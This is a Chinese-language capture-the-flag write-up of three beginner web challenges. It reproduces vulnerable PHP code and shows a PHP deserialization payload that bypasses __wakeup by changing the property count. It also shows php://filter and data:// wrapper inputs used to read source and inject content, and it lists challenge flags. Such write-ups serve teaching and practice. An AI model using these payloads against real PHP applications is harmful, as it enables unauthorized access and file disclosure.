[SWPUCTF 2021 新生赛]no_wakeup
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){ //这是一个魔术方法,当一个新的 `wllm` 对象被创建时,会自动调用此方法。它将 `admin` 初始化为字符串 "user",将 `passwd` 初始化为 "123456".
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){ //__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
$this->passwd = sha1($this->passwd);
}
public function __destruct(){ //当 `wllm` 对象被销毁时,会自动调用此方法。
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag; //如果admin的属性为admin,passwd的属性为wllm,则显示flag的内容
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
编写payload:
<?php
class HaHaHa{
public $admin="admin";
public $passwd="wllm";
}
$c=new HaHaHa();
echo serialize($c);
?>
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
这时我们要绕过 __wakeup这个函数,需要修改序列化字符串表示对象属性个数的值,即第二个数字。
NSSCTF{434fb83a-ab7f-48ca-bece-f39873042296}
[SWPUCTF 2021 新生赛]PseudoProtocols
既然要我们找hint.php,那我们就用php伪协议试试看。
php://filter/read/convert.base64-encode/resource=hint.php
解码:
<?php
//go to /test2222222222222.php
?>
访问这个文件
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag; //这段代码首先获取GET请求中的a参数。如果a被设置,并且file_get_contents($a,
'r')的返回值等于字符串'I want flag',则输出"success\n"和$flag变量的值。
}
?>
我尝试了直接让a的值为I want flag,显然不行。用另一个php伪协议:data://
这是数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
我们输入?a=data://text/plain,I want flag,得到flag。
NSSCTF{fb170c6f-f921-4190-923f-3e36bf152413}
[NCTF 2018]签到题
打开,是一个百度的页面,什么也找不到。。我试着访问了flag.php,index.php,最后发现访问flag.php的时候会报错,但是访问index.php的时候有点异常,它会直接返回初始页面。
这是访问flag.php
访问index.php
直接回去了,我用bp抓包试试。这里抓的使index.php的包。
直接找到flag。
flag{w3lc0m3_t0_nctf2018hhhhhhhhhhhh},改一下格式就可以提交了。